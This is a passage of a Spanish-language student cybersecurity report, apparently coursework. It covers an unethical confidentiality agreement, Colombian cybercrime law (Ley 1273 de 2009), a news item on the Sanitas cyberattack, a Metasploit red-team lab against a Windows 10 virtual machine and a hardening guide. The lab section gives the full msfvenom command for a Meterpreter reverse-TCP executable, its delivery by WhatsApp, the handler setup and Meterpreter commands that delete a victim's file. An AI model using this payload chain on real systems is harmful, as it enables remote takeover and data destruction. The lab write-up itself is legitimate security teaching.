de HackerHouse, incurriendo nuevamente la parte receptora en casos éticamente
incorrectos
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Imagen 10 obligacion sexta, parte receptora

Cuarta. Obligaciones de la parte receptora: Se considerara como
parte receptora de |la informacion confidencial a la persona que
recibe la informacion, o que tenga acceso a ella. La parte receptora se
obliga a:

De ser necesario o conveniente segun la necesidad del titular de la
informacion, se adicionaran las obligaciones gque se consideren
pertinentes:

6. La parte receptora se obliga a no transmitir, comunicar revelar
o de cualguier otra forma divulgar total o parcialmente, publica

o privadamente, la informacion confidencial o ilegal sin el
previo consentimiento por escrito por parte de HackerHouse,

Fuente: El autor.

En la siguiente imagen correspondiente a la octava clausula sobre solucion de
controversias se reafirma que el receptor debera responsabilizarse por la
informacion ilegal que pueda ser encontrada en su poder y debera hacerlo por sus
propios medios, dejando libre de cualquier responsabilidad a la organizacion.

Imagen 11 octava clausula, solucién de controversias

Octava. Solucion de controversias: Las partes (nombre estudiante
- nombre empresa) se comprometen a esforzarse en resolver
mediante los mecanismos alternativos de solucion de conflictos
cualguier diferencia gque surja con motivo de la ejecucion del presente
acuerdo. En caso gue la informacion ilegal o confidencial sea
encontrada en manos del receptor este debera acudir a un abogado
privado y dejar exenta de cualguier responsabilidad legal y penal a
HackerHouse.

Fuente: El autor.

En este punto deberia primar el sentido comun, la formacién profesional, la ética y
el conocimiento de las leyes, por parte del receptor, teniendo en cuanta que de
aceptar el acuerdo y firmar la contrataciéon estaria a punto de sufrir graves
consecuencias, entre las que destacan: pena de prision, sanciones legales por
parte de la ley colombina y sanciones por parte de COPNIA que pueden llegar
hasta la suspension de la licencia profesional.
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Nota: la quinta clausula, sobre las obligaciones de la parte reveladora esta
incompleta. Por lo tanto, se propone lo siguiente:

Mantener la reserva de la informacion confidencial captada mediante los
distintos procesos que hacen parte de su actuar y usarla bajo los paradmetros
estipulados por la ley colombiana sobre el tratamiento de datos.

La organizacion debe garantizar que la informacion suministrada a la parte
receptora para el ejercicio de seleccién de personal es de su propiedad y
obtenida de manera legitima, de lo contario debera responsabilizarse por todas
las consecuencias penales o sancionatorias a que alla lugar, segun la ley
colombiana sobre tratamiento de datos.

1.2.2 Ley colombiana violentada

Citar puntualmente ley colombiana y articulo que se podria estar violentando.

1.2.2.1 Ley 1273 del 2009

Ley colombiana 1273 del 2009 disefiada para la proteccion de la informacion y los
datos almacenados o enviados por medio de las tecnologias de la informacion.

Articulo 1°. Denominado: de la proteccién de la informacion y de los datos.

v Capitulo | denominado: “De los atentados contra la confidencialidad, la
integridad y la disponibilidad de los datos y de los sistemas informaticos”?%.
» Articulo 269A: Acceso abusivo a un sistema informatico. Contempla

penas de entre 48 a 96 meses de prision y multa entre 100 a 1000
salarios minimos legales mensuales vigentes. Para quien acceda sin
autorizacion a un sitio informatico.

Articulo 269C: interceptacion de datos informaticos. Contempla penas de
entre 36 a 72 meses de prision. Para quien capture informacion digital
ya sea en el punto de origen, de destino, o almacenada, sin contar con
la debida autorizacion.

Articulo 269F: Violacion de datos personales. Contempla penas de entre
48 a 92 meses de prision y multas de entre 100 a 1000 salarios minimos
legales mensuales vigentes. Para quien sustraiga o comercialice datos
ya sean individuales o alojados en bases de datos, para su propio
veneficio.

28 POLICIA. Ley 1273 de 2009. [en linea]. Colombia. (2009). 1 p. [Consultado el 15 de agosto
de 2023]. Disponible en: https://normograma.mintic.gov.co/mintic/docs/pdf/lley 1273 2009.pdf
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1.2.2.2 Codigo de ética para el ejercicio de laingenieria

Este codigo esta contenido en la ley 842 de 20032°, en los articulos: 29 y 30, 31 a
44y el 45. En el capitulo Il de este cddigo, sobre los deberes y obligaciones de los
profesionales, se invita a denunciar de manera contundente y aportando todo el
material probatorio posible, a todo tipo de actividad ilegal concebida mediante el
ejercicio de la ingenieria.

1.2.3 Sueldo para Red team y Blue team

El sueldo para los puestos de Red team y Blue team estan entre los $17.000.000 y
los 22.000.000 respectivamente. ¢Si usted llegara a encontrar procesos ilegales
en el acuerdo de confidencialidad usted aceptaria contrato y acuerdo de
confidencialidad de la organizacion HackerHouse, aun conociendo lo que podria
disponer COPNIA en su coédigo de ética y sanciones en Colombia para
profesionales de ingenieria?

COPNIA, en el cédigo de ética para el ejercicio de la ingenieria, marca el camino
que debe seguir el profesional de la ingenieria y profesiones afines, es de aclarar
gue no se trata solamente de una guia o marco para el actuar ético, ya que
también define una serie de sanciones que pueden ir desde una amonestacion
hasta la cancelaciéon de la matricula profesional®®. Es decir, seguir el cédigo de
ética de COPNIA no es opcional, es absolutamente necesario.

En base a lo anterior, la propuesta con el elevado sueldo y los procesos ilegales
descritos no se puede considerar solo como un dilema moral, ya que aparte de las
faltas a la ética profesional y personal, aceptar el acuerdo de confidencialidad y el
contrato implica violar leyes que traen consigo sanciones, por lo tanto, el acuerdo
no se acepta y el contrato no se firma.

1.2.4 Noticia de cibercrimen

Buscar alguna noticia de cibercrimen en Colombia y redactar su punto de vista
teniendo en cuenta las implicaciones legales y éticas que alli se pudieron generar.

Diario La Republica. Jueves, 22 de diciembre del 2022

Por: Allison Gutiérrez Nuiez

29 COPNIA. Cddigo de ética. [en linea]. Colombia. 7 p. [Consultado el 15 de agosto de 2023].
Disponible en: https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica

30 Ipbid., p. 1.
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EPM, Sanitas y Afinia continlan en jaque por ataque cibernético contra sus
sistemas

Se trata de un ataque por medios digitales perpetrado a barias empresas, entre
estas se encuentra Sanitas, que esta bajo ataque desde el 28 de noviembre del
2022.

1.2.4.1 Desarrollo de la noticia

Segun Sanitas®!, los ciberdelincuentes robaron informacién sensible que fue
posteriormente divulgada, entre esta informacion estadn: datos de pacientes,
proveedores y empleados, ademas de estados financieros. Los ciberdelincuentes
que se atribuyeron el ataque manifiestan tener en su poder 0,7 Teras de
informacion.

La afectacion comprende los servicios de salud, entrega de medicamentos,
acceso a historias clinicas y el servicio web. Segun Sanitas no se conoce ninguna
exigencia econémica por parte de los atacantes.

1.2.4.2 Punto de vista

Segun el desarrollo de la noticia, hay una clara violacién a las leyes colombianas
sobre la proteccion de datos, en cuanto a la ética, esta es relativa y depende del
entorno, la educacion, formacion profesional y otros factores. Aunque en Colombia
existe COPNIA que se dedica a vigilar el actuar ético, en este caso es dificil
determinar su competencia y alcance.

En cuanto a las leyes colombianas, en una tabla a continuacién, se relaciona el
delito encontrado con la ley que ha sido trasgredida.

Tabla 3 relacion entre delito y ley

Ley Articulo Falta Descripcién Pena Multa
1273 de 269A: acceso Acceso sin Es un delito Entre 48  De 100 a
2009 abusivo a un sistema autorizacion  acceder sin a 96 1000
informatico3? a sistema autorizacién a un meses de SMLMV
informético sistema informético  prision
1273 de 269F: violacion de Divulgacion Es un delito la Entre 48 De 100 a
2009 datos personales®? de obtencién y a 96 1000

31 LA REPUBLICA. EPM, Sanitas y Afinia continan en jaque por ataque cibernético contra sus
sistemas. [en linea]. Colombia. (22 de diciembre de 2022). [Consultado el 19 de agosto de 2023].
Disponible en: https://www.larepublica.co/empresas/epm-sanitas-y-afinia-continuan-en-jaque-por-
ataque-cibernetico-contra-sus-sistemas-3513721

32 POLICIA. Ley 1273 de 2009. [en linea]. Colombia. (2009). 1 p. [Consultado el 19 de agosto

de 2023]. Disponible en: https://normograma.mintic.gov.co/mintic/docs/pdf/lley 1273 2009.pdf

30



https://www.larepublica.co/empresas/epm-sanitas-y-afinia-continuan-en-jaque-por-ataque-cibernetico-contra-sus-sistemas-3513721
https://www.larepublica.co/empresas/epm-sanitas-y-afinia-continuan-en-jaque-por-ataque-cibernetico-contra-sus-sistemas-3513721
https://normograma.mintic.gov.co/mintic/docs/pdf/ley_1273_2009.pdf

informacion divulgacion de meses de SMLMV
sensible datos personales prisién
sin estar facultado
1273 de 269J: trasferencia no  Divulgacion Es un delito la Entre 48 De 200 a
2009 consentida de de trasferencia no a 120 1500
activos3®* informacion autorizada de meses de SMLMV
sensible cualquier activo en  prisién
perjuicio de un
tercero
1273 de 269B: Obstruccion Es un delito impedir Entre 48 De 100 a
2009 obstaculizacion total o parcial el funcionamientoo a 96 1000
ilegitima de un a sitio acceso normalaun mesesde SMLMV
sistema informatico o informatico sistema prisién
red de informético, sin
telecomunicaciones®® tener autorizacion
1273 de 269B: Denegacion Es un delito impedir Entre 48 De 100 a
2009 obstaculizacion de servicios  sin estar autorizado a 96 1000
ilegitima de un por el responsable, mesesde SMLMV
sistema informético o el acceso a un sitio  prision
red de informatico
telecomunicaciones
1273 de 269D: dafio Alteracion de  Es un delito dafiar,  Entre 48 De 100 a
2009 informatico36 datos alterar o suprimir a 96 1000
informéticos  datos informéticos meses de SMLMV
sin autorizacién del  prision

responsable

Fuente: El autor.

1.3 ETAPA 3 EJECUCION PRUEBAS DE INTRUSION

A continuacioén, se da respuesta a las preguntas orientadoras.

1.3.1 Primera pregunta sobre herramientas de software utilizadas

Describa de manera especifica las herramientas software que utilizé para llevar a
cabo el anexo 4 — escenario 3 enfocado a Red team.

A continuacién, se realiza la descripcion de la herramientas utilizadas mediante

una tabla.

33 POLICIA. Ley 1273 de 2009. [en linea]. Colombia. (2009). 1 p. [Consultado el 19 de agosto
de 2023]. Disponible en: https://normograma.mintic.gov.co/mintic/docs/pdf/lley 1273 2009.pdf

3 |bid., p. 3.
% |bid., p. 2.
% Ibid., p. 2.
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Tabla 4 herramientas de software

Herramienta Descripcién Uso en la actividad

VirtualBox Es un software hipervisor, mediante el cual se Creacion del entorno
puede virtualizar sistemas operativos. controlado.

Windows 10 Sistema operativo orientado a ordenadores Sistema operativo de la
personales magquina victima

Kali Linux Es una distribucién de Linux a partir de Sistema operativo de la
Debian. Orientada a pruebas de penetracién. maquina atacante

Nmap3’ Es una herramienta gratuita y de cédigo e Mapeo delared
abierto, orientada a la exploracion de redesy e |dentificacion del sistema
principalmente a auditorias de seguridad operativo victima

MSFVENOMS3®  Es el comando de la herramienta de Par iniciar la herramienta de

Metasploit Msfpayload

Metasploit

Msfpayload3®

Herramienta que sirve para la creacion de
ejecutables con un Payload determinado.

Crear el ejecutable con el
Payload determinado.

METASPLOIT4

Herramienta disefiada para la ejecucion de
Exploits y para la ejecucion de Payloads

e Puerto 443 a la escucha
o Ejecutar el Payload

PAYLOAD* Usado en postexplotacién y encriptado de Carga util
malware para evadir la seguridad del sistema
Meterpreter*? Es un Payload mediante el cual es posible la Eliminar documento .txt

ejecucion de tareas remotamente.

Fuente: el autor.

1.3.2 Segunda pregunta sobre datos que fueron de ayuda

A continuacién, liste y describa los datos e informacion del anexo 4 — escenario 3
que le fueron de ayuda para identificar el fallo de seguridad especifico el cual
ataca a la maquina Windows 10 X64.

Descripcién de los datos que fueron de ayuda, en la siguiente tabla.

37 NMAP.ORG. Chapter 15. Nmap Reference Guide. [en linea]. [Consultado el 6 de septiembre de
2023]. Disponible en: https://nmap.org/book/man.html

38 KEEPCODING. ¢Qué es Msfpayload? [en linea]. (7 de octubre de 2022). [Consultado el 6 de
septiembre de 2023]. Disponible en: https://keepcoding.io/blog/que-es-
msfpayload/#:~:text=msfvenom%3A%20se%20utiliza%20para%?20iniciar,inversa%20a%20un%20p
uerto%20TCP.

% |bid., p. 1.

40 KEEPCODING. ¢Qué es Metasploit? [en linea]. (5 de julio de 2023). [Consultado el 6 de
septiembre de 2023]. Disponible en: https://keepcoding.io/blog/que-es-metasploit-cibersequridad/

4L bid., p. 1.

42 KEEPCODING. ¢Qué es Meterpreter? [en linea]. (3 de julio de 2023). 18 p. [Consultado el 6 de
septiembre de 2023]. Disponible en: https://keepcoding.io/blog/que-es-
meterpreter/#:~:text=Meterpreter%20es%20un%20payload%20que,es%20bastante%20dif%C3%A
Dcil%20de%20detectar.
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Tabla 5 datos del anexo 4 para identificar fallo de seguridad

Dato Descripcién Fuente
Perdida de documento .txt  Documento alojado en el escritorio El administrador
Ejecucion de archivo .exe Archivo recibido por WhatsApp, El administrador

descargado y ejecutado por el
administrador

Sistema operativo Sistema operativo para ordenadores El administrador
Windows 10 x64 personales, se caracteriza por sus sistemas

de seguridad incluidos.
Sistemas de seguridad Son los sistemas de seguridad incluidos en  El administrador
desatibados totalmente Windows 10 y que deben estar activados

(firewall y Windows defender)

Fuente: el autor.

1.3.3 Tercera pregunta sobre herramientas para identificar fallos

¢, Qué herramienta utiliz6 para poder identificar los fallos de seguridad de la
“‘maquina Windows 107?

Teniendo en cuenta la informacion suministrada por el administrador del equipo se
procede a identificar la vulnerabilidad mediante la recreacion del ataque. En este
caso se utiliza el software Metasploit con algunas de sus herramientas que se
describen a continuacion:

e Nmap*3: se trata de un plugins externo mediante el cual en este caso se realizd
el papeo de la red y la confirmacion del sistema operativo.

e PAYLOAD: es parte de un Exploits, que es usado como carga (util

e Meterpreter: es un Payload que se utilizé para la ejecucion de tareas remotas.

¢, Qué puerto abre la aplicacion especifica en el anexo?

En este caso el puerto que se utilizé para la escucha del host al servidor fue el 443
y la aplicacion encargada de abrirlo es Metasploit.

1.3.4 Cuarta pregunta sobre afectacion del ataque a la maquina

Explique con sus palabras y de manera especifica como afecta el ataque a la
maquina (Windows 10 X64), haga uso de gréaficos para explicar el ataque.

Teniendo en cuenta el atacante toma el control de la maquina, las consecuencias
son variadas, a continuacion, se describen algunas de las mas importantes:

43 PLATZI. Arquitectura de Metasploit. [en linea]. (2019). [Consultado el 8 de septiembre de 2023].
Disponible en: https://platzi.com/tutoriales/1176-pentesting-2019/2224-arguitectura-de-metasploit/
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e Perdida de datos: es conocido que el atague tuvo como resultado la
eliminacién de un archivo .txt, sin embargo, también puedo ser eliminada mas
informacion.

e Compromiso de la seguridad: puede verse afectada la integridad y
confidencialidad de los datos por modificacién o eliminacion de archivos.

e Posible propagacion de malware: esta vulneracion puede ampliar los vectores
de ataque, que se puede expandir mediante movimientos laterales o mediante
propagacion de malware.

e Costos de recuperacion: en el caso del documento .txt la informacién perdida
es poca, sin embargo, pudo perfectamente perderse informacion valiosa.

En la siguiente imagen se aprecia el ataque: se realiza una conexion cliente
servidor, donde la maquina victima es el servidor y la maquina atacante es el
cliente.

Imagen 12 grafico del ataque

Windows 10 Kali Linux

servidor

—L

Fuente: El autor.

Payload Meterpreter i3 host

—LL

.eX

Payload Metasploit

En la maquina cliente con la ayuda de Metasploit se crea un archivo .exe con un
Payload de tipo Meterpreter para Windows con una conexion inversa a TCP, en
este caso el puerto 443, que es puesto a la escucha mediante Metasploit. Con el
comando msfconsole se inicia la consola de Metasploit. Que sirve para activar el
puerto, elegir el exploit, configurarlo y ejecutarlo. En la maquina servidor se
ejecuta el archivo .exe que contiene el Payload de tipo Meterpreter, he
inmediatamente se establece la conexion, de modo que la maguina atacante toma
el control de la maquina victima.

Ya con la conexion establecida mediante comandos de Meterpreter se procede a
la eliminacion del archivo .txt

1.3.5 Quinta pregunta sobre los comando utilizados

Debera documentar y adjuntar los comandos utilizados y explicar la estructura
desarrollada para el Payload ademas de los comandos para ejecutar el Payload.
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En las siguientes tres tablas se describen los comandos utilizados

Tabla 6 comandos utilizados

Comando Descripcién Ejemplo

ifconfig para identificar la IP y la mascara de red ifconfig

nmap -sn IP  Para ver los host que componen la red nmap -sn 192.168.1.0/24

nmap -O IP Para ver informacion sobre el sistema nmap -0 192.168.1.10
operativo

Msfvenom Para iniciar la herramienta Metasploit msfvenom

-p Indica la carga util Payload -p windows/x64/meterpreter/

reverse_tcp

--platform para indicar la plataforma que se desea atacar --platform windows

-a Indica la arquitectura que se desea atacar -a x64

LHOST indica el local host LHOST=191.168.1.10

LPORT indica el puerto local LPORT=443

-f Indica el formato en el cual se genera el -f exe
ejecutable

>> Indica la ruta de almacenamiento >> /directorio/archivo.exe

Fuente: El autor.

Tabla 7 comandos para ejecutar un Payload

Comando Descripcion Ejemplo
Msfconsole Para hacer uso del exploit que contribuyaa msfconsole
escuchar y ejecutar el Meterpreter

Exploit Para definir el exploit a utilizar use exploit/multi/lhandler

Payload Para definir el Payload a utilizar set payload
Windows/x64/Meterpreter/reverse
tcp

LHOST Para definir la IP de la maquina atacante set lhost 192.168.1.10

LPORT Para para ingresar el puerto local a utilizar ~ set Iport 443

Exploit Para correr el Payload exploit

use Para ingresar un exploit

set Para ingresar Payload, Ihost y Iport

Fuente: El autor.

Tabla 8 comandos Meterpreter

Comando Descripcién Ejemplo

Sysinfo Para ver informacion de la maquina sysinfo

Is Para listar los archivos dentro de un directorio Is

rm Para eliminar un archivo rm ruta\\al\archivo.txt

Fuente: El autor.
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1.3.6 Vulneracion del sistema

Se inicia con la actualizacion del sistema operativo atacante mediante los
comandos: apt udate para descargar las actualizaciones y apt upgrade para la
imantacién, como se puede apreciar en las siguientes imagenes.

Imagen 13 actualizacion de Kali Linux, descarga

john@Johnkali: ~

( )-[~]
'—_ pt update

[sudo] contrasena para john:

Des:1 http://kali.download/kali kali-rolling InRelease [41,2 kB]

Des:2 http://kali.download/kali kali-rolling/main amdé64 Packages [19,3 MB]

Des:3 http://kali.download/kali kali-rolling/main amd64 Contents (deb) [45,6 MBI

Fuente: El autor.
Imagen 14 actualizacion de Kali Linux, instalacion

This may take some time... done.
Procesando disparadores para libgdk-pixbuf-2.0-0:amd64 (2.42.10+dfsg-1+b1) ...
Procesando disparadores para initramfs-tools (0.142) ...
update-initramfs: Generating /boot/initrd.img-6.4.0-kali3-amdé64
Procesando disparadores para rygel (0.42.4-1) ...
Procesando disparadores para ca-certificates-java (20230718) ...
done.

[:—EI

Fuente: El autor.

En la siguiente imagen mediente el comando ifconfig se observa la direccion IP de
la maquina atacante y mascara de red.

Imagen 15 direccién IP de host local y mascara de red

i+ jehn@Johnkali: ~

(
E ifconfig

ethe: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.37 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 feB80::a00:27ff:feae:47e7 prefixlen 64 scopeld 0x20<link>

Fuente: El autor.
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En la siguiente imagen mediante el comando ipconfig se observa la IP de la
maquina victima.

Imagen 16 IP maquina victima

Fuente: El autor.

En la siguiente imagen se aprecia un mapeo de la red con el fin de identificar los
host que la componen y establecer la maquina objetivo, mediante el comando:
nmap -s 192.168.1.0/24 donde se remplaza el ID de host por el 0/24 para tener
visual de toda la red. Descartando la primera IP que pertenece al router y la Gltima
que es la maquina atacante, quedan dos posibles opciones.

Imagen 17 mapeo de red

john@Johnkali: ~

( )-[~]
L_ sudo nmap -sn 192.168.1.0/24
[sudo] contrasena para john:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-06 18:23 -05
Nmap scan report for 192.168.1.1
Host is up (@.0031s latency).
MAC Address: 80:14:A8:F6:4B:78 (Guangzhou V-Solution Electronic Technology)
Nmap scan report for 192.168.1.36
Host is up (0.00040s latency).
MAC Address: C4:BD:E5:28:D4:CB (Intel Corporate)
Nmap scan report for DESKTOP-AFJ@9A6 (192.168.1.38)
Host is up (0.00857s latency).
MAC Address: @8:00:27:75:B3:66 (Oracle VirtualBox virtual NIC)
Mmap scan report for 192.168.1.37
Host 1s up.
Nmap done: 256 IP addresses (&4 hosts up) scanned in 2.12 seconds

[:—EI

)=[~

Fuente: El autor.
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Para las dos opciones que quedaron se corre el comando nmap -O IP, con el fin
de verificar el sistema operativo he identificar plenamente la maquina victima, que
en este caso correponse a la IP 192.168.1.38 como se aprecia en la siguiente
imagen.

Imagen 18 comprobacion sistema operativo maquina victima

)>-1~]

o0 nmap -0 192.168.1.38
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-06 18:26 -@5
Nmap scan report for 192.168.1.38
Host is up (@.00045s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5357/tcp open wsdapi
MAC Address: @8:00:27:75:B3:66 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Microsoft Windows 10
0S CPE: cpe:/o:microsoft:windows_18
0S details: Microsoft Windows 1@ 1709 - 1909

Fuente: El autor.

A continuacion, se verifica que las maquinas se puedan ver, mediane el comando
ping IP, de la siguiente manera: ping 192.168.1.38. Como se aprecia en la imagen
siguiente hay 0 paquetes perdidos, de modo que las maquinas se pueden ver.

Imagen 19 ping de maquina atacante a maquina victima

( J=1~]

[r_ ping 192.168.1.38

PING 192.168.1.38 (192.168.1.38) 56(84) bytes of data.
64 bytes from 192.168.1.38: icmp_seq=1 tt1=128 time=0.
64 bytes from 192.168.1.38: icmp_seq=2 tt1l=128 time=0.
64 bytes from 192.168.1.38: icmp_seq=3 ttl=128 time=0.
64 bytes from 192.168.1.38: icmp_seq=4 tt1=128 time=0.
.38: lcmp_seq=5 ttl=128 time=0.
.38: lcmp_seq=6 ttl=128 time=0.
.38: lcmp_seq=7 ttl=128 time=0.
.38: icmp_seq=8 ttl=128 time=0.
.38: icmp_seq=9 ttl=128 time=0.

64 bytes from 192.168.
64 bytes from 192.168.
64 bytes from 192.168.
64 bytes from 192.168.
64 bytes from 192.168.
“C

L Ty

--- 192.168.1.38 ping statistics ---
9 packets transmitted, 9 received, 0% packet loss, time 8171ms

Fuente: El autor.

38



En la siguiente imagen se muestra la activacion de la herramienta de Metasploit
mediante el comando msfvenom

Imagen 20 comando msfvenom

s the total payload size, auto-prepending a nopsled of gquantity (nops minus payl
oad length)

-5, --space <length> The maximum size of the resulting payload

--encoder-space <length> The maximum size of the encoded payload (de

faults to the -s value)

-i, --iterations <count> The number of times to encode the payload

-c, --add-code <path> Specify an additional win32 shellcode file
to include

-x, --template <path> Specify a custom executable file to use as
a template

-k, --keep Preserve the --template behaviour and injec
t the payload as a new thread

-V, --var-name <value> Specify a custom variable name to use for c
ertain output formats

-t, --timeout <second> The number of seconds to wait when reading
the payload from STDIN (default 3@, @ to disable)

-h, --help Show this message

/home/john

Fuente: El autor.

A continuacion, en la imagen siguiente se aprecia la creacion del Payload en un
archivo con extension .exe que se va a utilizar como carga util. Mediante el
comando: msfvenom -p windows/x64/meterpreter/reverse_tcp —platform windows -
a x64 LHOST=192.168.1.37 LPORT=443 -f exe >>
/home/John/Escritorio/PoC_10698458.exe

Imagen 21 creacion del Payload carga util

PoC_ root@Johnkali: /lnhome/john Q
10698458....

/home/john

msfvenom -p windows/x64/meterpreter/reverse_tcp --platform windows -a x64 LH
0ST=192.168.1.37 LPORT=443 - exe /home/john/Escritorio/PoC_10698458,exe
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes

Fuente: El autor.
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El siguiente paso es enviar por medio de WhatsApp web el archivo .exe que se
acaba de crear, dese la maquina atacante a la maquina victima y almacenarlo en
el escritorio.

A continuacién, se abre la consola de Metasploit mediante el comando msfconsole

Imagen 22 consola de Metasploit

root@Johnkali: fhome/john

https://metasploit.com

metasploit vé. -dev

2346 exploits - 122@ auxiliary - 413 post
1387 payloads - 46 encoders - 11 nops

9 evasion

I
n mn mw n
1

+ + o+
o
[
'

|

Metasploit tip: Open an interactive Ruby terminal with
irb
Metasploit Documentation: https://docs.metasploit.com/

msfé >

Fuente: El autor.

Una vez estando en la consola de Metasploit se procede a elegir el exploit que
ejecutara la carga util mediante el comando: use exploit/multi/handler

A continuacion, se realiza la configuracion del Payload (carga util) de la siguiente
manera:

set payload windows/x64/meterpreter/reverse tcp
set LHOST 192.168.1.37

set LPORT 443

exploit

En la siguiente imagen se aprecia la ejecucion de los comandos:
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Imagen 23 eleccion, configuracion y arranque del exploit

i+ root@Johnkali: fhome/john

PoC_
1069845 Metasploit Documentation: https://docs.metasploit.com/

msfé > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) > set lhost 192.168.1.37
lhost => 192.168.1.37
msf6 exploit( ) > set lport 443
lport => 443
msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.1.37:443

e Exploit failed [user-interrupt]: Interrupt
exploit: Interrupted
msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.1.37:443

Sending stage (200774 bytes) to 192.168.1.40

Meterpreter session 1 opened (192.168.1.37:443 -> 192.168.1.40:51356) at 202
3-09-07 14:35:37 -0500

meterpreter > l
Fuente: El autor.

Es importante mencionar que una vez ejecutado el comando exploit la conexién
queda a la espera de la ejecucion del archivo .exe que contiene el Payload. En
cuanto este se ejecute en la maquina victima, se establece la conexién.

La herramienta Meterpreter estd equipada con una serie de comandos que
permiten realizar acciones en la maquina victima. El comando sysinfo, permite ver
informacion de la maquina, como se puede apreciar en la siguiente imagen.

Imagen 24 comando sysinfo

meterpreter > sysinfo

Computer . DESKTOP-AFJ@9A6

0s : Windows 10 (10.® Build 19845).
Architecture 1 x64

System Language : es_ES

Domain : WORKGROUP

Logged On Users : 2
Meterpreter : x64/windows

meterpreter > [j

Fuente: El autor.
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A continuacién, se aprecia la explotacion de la vulnerabilidad mediante la
eliminacion del archivo .txt, para realizar este procedimiento se procede con los
comandos de Meterpreter: Is para listar los elementos de un directorio y rm (rm
C:\\ruta\\archivo) para eliminar un archivo. En esta caso queda de la siguiente
manera: rm C:\\Users\\John\\Desktop\\John.txt en la siguiente imagen se muestra
la ejecucion.

Imagen 25 eliminando documento .txt

n root@Johnkali: /lhome/john
PoC_
0698458, Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > 1s
Listing: C:\Users\John\Desktop

Mode i ) Last modified Name

100666/ rw-TrW-rW- i 2023-09-06 :33:21 -0500 John.txt
100777/ rWXTWXTWX i 2023-09-07 :33:28 -0500 PoC_1@698458.exe
100666/ rw-TW-TW- i 2023-08-23 :07:23 -0500 desktop.ini

meterpreter > rm C:\\Users\\John\\Desktop\\John.txt

meterpreter > 1s
Listing: C:\Users\John\Desktop

Mode Type Last modified Name

100777/ruxrwxrwx 7168 fil 2023-09-87 14:33:28 -0500 PoC_10698458.exe
100666,/ rw-rw-ru- 282 fil 2023-08-23 19:87:23 -0500 desktop.ini

meterpreter >
Fuente: El autor.

La explotaciéon de la vulnerabilidad también amplia la plataforma del ataque,
proporcionando nuevos vectores al atacante, que puede realizar una escalada de
privilegios, moverse por la red hacia otros nodos, mediante movimientos laterales
o la instalacion de puertas traseras que le permitan mantener por mas tiempo la
conexién con la maquina victima.
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1.4 ETAPA 4 CONTENCION DE ATAQUES INFORMATICOS

1.4.1 Guiade hardenizacion para Windows 10

A continuacion, se presenta una tabla con una serie de configuraciones basicas,
pero que permiten la hardenizacion del sistema operativo Windows 10, ademas la
implementacion de estas configuraciones es bastante sencilla, teniendo en cuanta
que la mayoria son herramientas incluidas por defecto**.

Tabla 9 guia de hardenizacion para Windows 10

Num. Paso Descripcién
1 Habilitar o instalar Windows 10 esté equipado por defecto con Windows
antivirus defender.
2 Instalar o activar firewall Windows 10 incluye un cortafuegos con reglas por defecto.
3 Actualizaciones Windows proporciona actualizaciones automaticas o
automaticas del sistema manuales, pertinentes para mantener la seguridad del
operativo sistema operativo Windows 10
4 Activar cifrado de disco Algunas ediciones de Windows 10 estas equipadas con
BitLocker. No disponible en Windows 10 home
5 Configurar cuentas de Puede ser una cuenta local o una cuenta Microsoft, del
usuario siguiente tipo:
e Cuenta de administrador: esta por defecto
e Cuneta estdndar: no permite realizar cambios en el
sistema
e Cuenta de invitado: se debe desactivar, debido a la
contrasefa en blanco que esta por defecto.
6 Gestor de contrasefas Algunos navegadores estan equipados con este servicio,
sin embargo, es recomendable usar uno dedicado.
7 Desatibar el acceso Esta deshabilitado por defecto, y solo se debe habilitar
remoto cuando se va a utilizar.
8 Inicio de sesion Se activa por defecto en la primera configuracion, es una
automético buena préactica desatibarlo cuando hay amenazas de
intrusion a través del hardware.
9 Contrasefia Se debe establecer una contrasefia segura
10 Copias de seguridad Se debe realizar copias de seguridad de manera periddica y
verificar su correcto funcionamiento.
Fuente: https:/floatingpoint.sorint.it/blog/post/hardening-en-windows-10-protege-

tu-ordenador-de-hackers-virus-ransomware-y-ms

44 SALAS, Steven. Hardening en Windows 10: Protege tu ordenador de hackers, virus, ransomware
y mas. [en linea]. (9 de agosto de 2021). [Consultado el 19 de septiembre de 2023]. Disponible en:
https://floatingpoint.sorint.it/blog/post/hardening-en-windows-10-protege-tu-ordenador-de-hackers-
virus-ransomware-y-ms
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1.4.2 Hardenizaciéon de la maquina afectada
Asegure la maquina que fue afectada con el Payload de la Etapa 4

En la siguiente imagen se evidencia la ausencia del archivo .exe que contenia el
Payload.

Imagen 26 evidencia de la ausencia del archivo .exe

ﬁ John_W10 [Corriendo] - Oracle VM VirtualBox

Archiva Maguina Ver Entrada Dispos

-

Papelera de
reciclaje

[l

Microsoft Edge

Fuente: El autor.

A continuacién, se evidencia por medio de una imagen la activacion del firewall
integrado en Windows 10 el cual estaba deshabilitado.

Imagen 27 evidencia de la activacion del firewall

Archive  Accién  Ver  Ayuda

haadliolll
@ Windows Defender Firewall cor| R i i seguridad avanzada en Equipo local Acciones
Reglas de em.:rada ~ | Wind Defender Fi I -
&% Reglas de salida
E‘y Reglas de seguridad de can Windows Defender Firewall con seguridad avanzada proporciona seguridad de red para equipos Windows. | Importar directiva...
» B Supenision <= Exportar directiva...
Informacion general - Restaurar directiva pre...
Perfil de dominio Diagnosticar / Reparar
@ Firewall de Windows Defender esta activado. Ver
0 Las conexiones entrantes gue no coincidan con una regla estan blogueadas.
G Actualizar
@ Conexiones salientes que no coincidan con una regla seran pemitidas.
Propiedades
El perfil privado esta activo.
P P ﬂ Ayuda

@ Firewall de Windows Defender est3 activado.

0 Las conexiones entrantes que no coincidan con una regla estan bloqueadas.

Fuente: El autor.
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En la siguiente imagen se evidencia la activacion del software Windows defender,
integrado en el sistema operativo y que se encontraba deshabilitado.

Imagen 28 evidencia de la activacion de Windows defender

A

i Q % ( |8

